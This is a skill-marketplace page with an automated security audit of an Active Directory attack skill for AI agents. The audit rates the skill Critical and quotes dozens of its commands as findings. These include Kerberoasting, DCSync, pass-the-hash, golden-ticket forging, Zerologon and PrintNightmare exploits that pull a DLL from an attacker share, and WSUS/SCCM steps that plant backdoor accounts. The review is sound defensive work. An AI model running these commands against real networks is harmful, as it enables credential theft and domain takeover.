Skills active-directory-attacks
📦
active-directory-attacks
Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Assess Active Directory Attack Paths
Active Directory assessments require organized attack workflow references. This skill maps reconnaissance, credential abuse, Kerberos attacks, relay paths, and advanced AD techniques for authorized testing.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "active-directory-attacks" from https://skillstore.io/skills/sickn33-active-directory-attacks.md and its manifest at https://skillstore.io/api/skills/sickn33-active-directory-attacks/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "active-directory-attacks". I need a safe overview before an AD lab assessment.
Expected outcome:
The response outlines prerequisites, written authorization, test scope, account lockout limits, evidence handling, and cleanup expectations.
Using "active-directory-attacks". Help me organize findings from Kerberoasting and relay testing.
Expected outcome:
The response groups findings by technique, affected assets, required privileges, business risk, and recommended defensive follow-up.
Using "active-directory-attacks". Prepare a training module for AD attack paths.
Expected outcome:
The response creates a lab-focused module covering concepts, prerequisites, expected observations, and safety boundaries without production targets.
Security Audit
Criticalv6 • 7/9/2026 Open versioned report
AI review confirmed that the skill is an offensive Active Directory attack playbook. It includes executable command examples for credential theft, Kerberos ticket forgery, NTLM relay, AD CS abuse, CVE exploitation, lateral movement, persistence, and backdoor deployment. No prompt injection language was found, but the content is unsafe for broad marketplace publication without major defensive rewriting.
2
Files scanned
775
Lines analyzed
101
Review items
0
False positives ignored
Confirmed security concerns (33)
Critical
Malware type keywords
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critical
Malware type keywords
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critical
Malware type keywords
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critical
Malware type keywords
MalSCCM.exe app /cleanup /name:backdoor
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critical
Malware type keywords
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The cited line is in a workflow that creates, deploys, or cleans up backdoor or malicious payload artifacts. This is explicit unauthorized persistence guidance.
Critical
Offensive Domain Compromise Objective
The skill states outputs that include extracted credentials, Kerberos tickets for impersonation, Domain Administrator access, and persistent access mechanisms.
The deliverables explicitly describe credential theft, privilege escalation, impersonation, and persistence as intended outcomes.
Critical
End-to-End Credential Theft Workflow
The skill chains DCSync, Kerberoasting, ticket forgery, pass-the-hash, and certificate authentication into actionable compromise workflows.
The cited sections provide a coherent path from credential extraction to authentication as privileged users.
Critical
Backdoor Deployment and Persistence Workflow
The advanced reference shows creating malicious applications and updates that add backdoor accounts, then cleaning deployment records.
The section explicitly describes malicious SCCM and WSUS deployment steps that create backdoor access.
Show all 33 confirmed findings
High
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip DC_IP
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
High
Certificate/key files
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccach
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
High
Certificate/key files
klist -k /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
High
Certificate/key files
python3 keytabextract.py /etc/krb5.keytab
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
High
Windows registry access
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The registry modification enables DSRM administrator logon behavior after dumping credentials. This changes Windows authentication behavior for persistence or privilege abuse.
High
Weak cryptographic algorithm
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domai
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
High
Weak cryptographic algorithm
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.dom
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
High
Weak cryptographic algorithm
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
High
Secure file deletion
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
The static label is imprecise, but the line changes HKLM DSRM logon behavior in an offensive credential workflow. It remains a confirmed security risk because it enables persistence.
High
Certificate/key files
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The finding references certificate or keytab material used for authentication and credential extraction. In this guide, those files enable impersonation or recovery of AD secrets.
High
Weak cryptographic algorithm
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.lo
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
High
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
The weak-crypto indicator appears in commands that use hashes or RC4 keys for Kerberos ticket attacks. The risk is credential replay and forged authentication, not ordinary cryptography use.
High
Network scanning tools
nmap -sT 10.10.10.10 -p445 --script smb2-time
The nmap command targets SMB on a domain controller address to prepare Kerberos and AD attack workflows. This is active network probing guidance.
High
Authorization Disclaimer Without Enforceable Guardrails
The file includes an authorized-use note, but the rest of the skill provides full attack workflows without refusal criteria or defensive-only fallbacks.
The disclaimer is real, but it does not constrain the actionable offensive content that follows throughout the skill.
Medium
System reconnaissance
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Medium
System reconnaissance
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Medium
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Medium
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Medium
Network reconnaissance
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -pr
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Medium
System reconnaissance
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Medium
Network reconnaissance
Find-LocalAdminAccess -Verbose
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Medium
Network reconnaissance
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Low
Network reconnaissance
- ADFS service account access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Low
System reconnaissance
- Have valid domain credentials for most attacks
The line appears in an offensive AD compromise workflow rather than a benign inventory task. It supports abuse of tickets, GPOs, ADFS, or required credentials for later exploitation.
Low
Network reconnaissance
- Domain Administrator access
The finding is tied to attack planning or exploitation prerequisites in the AD playbook. It supports target discovery, credentialed access, or offensive command selection.
Capability review items (101)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Windows cmd.exe
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe"
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
Critical
Windows cmd.exe
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoo
The command uses cmd.exe to create a backdoor user through GPO or WSUS abuse. This is direct persistence and unauthorized access guidance.
High
Shell command substitution
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPl
The command creates an attacker-controlled machine account for resource-based constrained delegation. The substitution builds a password object inside an exploitation workflow.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
# PowerShell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
# PowerShell + DSInternals
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
High
Hardcoded URL
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://targ
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
High
Hidden file access
/var/lib/sss/secrets/.secrets.mkey
The hidden file path is the SSSD secrets key used for Linux AD credential extraction. The surrounding section explains extracting and reusing authentication secrets.
High
Ruby/shell backtick execution
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
Ruby/shell backtick execution
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
Ruby/shell backtick execution
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
Ruby/shell backtick execution
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
Ruby/shell backtick execution
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
Ruby/shell backtick execution
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
The inline backticked text contains concrete offensive tool commands, including credential attacks, DCSync, pass-the-hash, ticket forgery, or spraying. It is not program execution by the Markdown file, but it is dangerous command guidance.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
PowerShell invocation
```powershell
This PowerShell block is part of runnable Active Directory attack guidance. Nearby commands enumerate AD, manipulate delegation, forge tickets, or extract credentials.
High
sudo privilege escalation
sudo date -s "14 APR 2024 18:25:16"
The command indicator appears in executable examples for Active Directory attacks. The skill teaches users how to run offensive tooling, so the risk is confirmed.
High
Hardcoded URL
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainCo
The URL is used as an attack endpoint for AD CS relay or ADFS Golden SAML abuse. Even though it is a placeholder domain, it is part of executable exploitation guidance.
Medium
Temp directory access
ls /tmp/ | grep krb5cc
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Medium
Temp directory access
export KRB5CCNAME=/tmp/krb5cc_1000
The temp directory access is used to locate and reuse Kerberos credential caches. In context, it supports ticket theft or impersonation workflows.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```powershell
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Ruby/shell backtick execution
```bash
The marker is Markdown syntax, but it opens or closes a runnable command block in an offensive AD attack guide. The surrounding block contains commands that users could execute during attacks.
Medium
Hardcoded IP address
nmap -sT 10.10.10.10 -p445 --script smb2-time
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Medium
Hardcoded IP address
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
The private IP is a placeholder, but it is embedded in runnable commands against domain controllers or targets. The surrounding commands perform spraying, dumping, relay setup, CVE exploitation, or lateral movement.
Risk Factors
⚙️ External commands (50)
references/advanced-attacks.md:70 references/advanced-attacks.md:23 references/advanced-attacks.md:24 references/advanced-attacks.md:44 references/advanced-attacks.md:51 references/advanced-attacks.md:56 references/advanced-attacks.md:68 references/advanced-attacks.md:85 references/advanced-attacks.md:91 references/advanced-attacks.md:131 references/advanced-attacks.md:169 references/advanced-attacks.md:262 references/advanced-attacks.md:305 references/advanced-attacks.md:306 references/advanced-attacks.md:315 references/advanced-attacks.md:316 references/advanced-attacks.md:339 references/advanced-attacks.md:99 references/advanced-attacks.md:185 SKILL.md:57-69 SKILL.md:69-73 SKILL.md:73-84 SKILL.md:84-88 SKILL.md:88-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-129 SKILL.md:129-141 SKILL.md:141-147 SKILL.md:147-156 SKILL.md:156-162 SKILL.md:162-169 SKILL.md:169-179 SKILL.md:179-188 SKILL.md:188-194 SKILL.md:194-197 SKILL.md:197-201 SKILL.md:201-210 SKILL.md:210-216 SKILL.md:216-223 SKILL.md:223-231 SKILL.md:231-240 SKILL.md:240-244 SKILL.md:244-246 SKILL.md:246-254 SKILL.md:254-263 SKILL.md:263-267 SKILL.md:267-269 SKILL.md:269-277 SKILL.md:277-289
🌐 Network access (30)
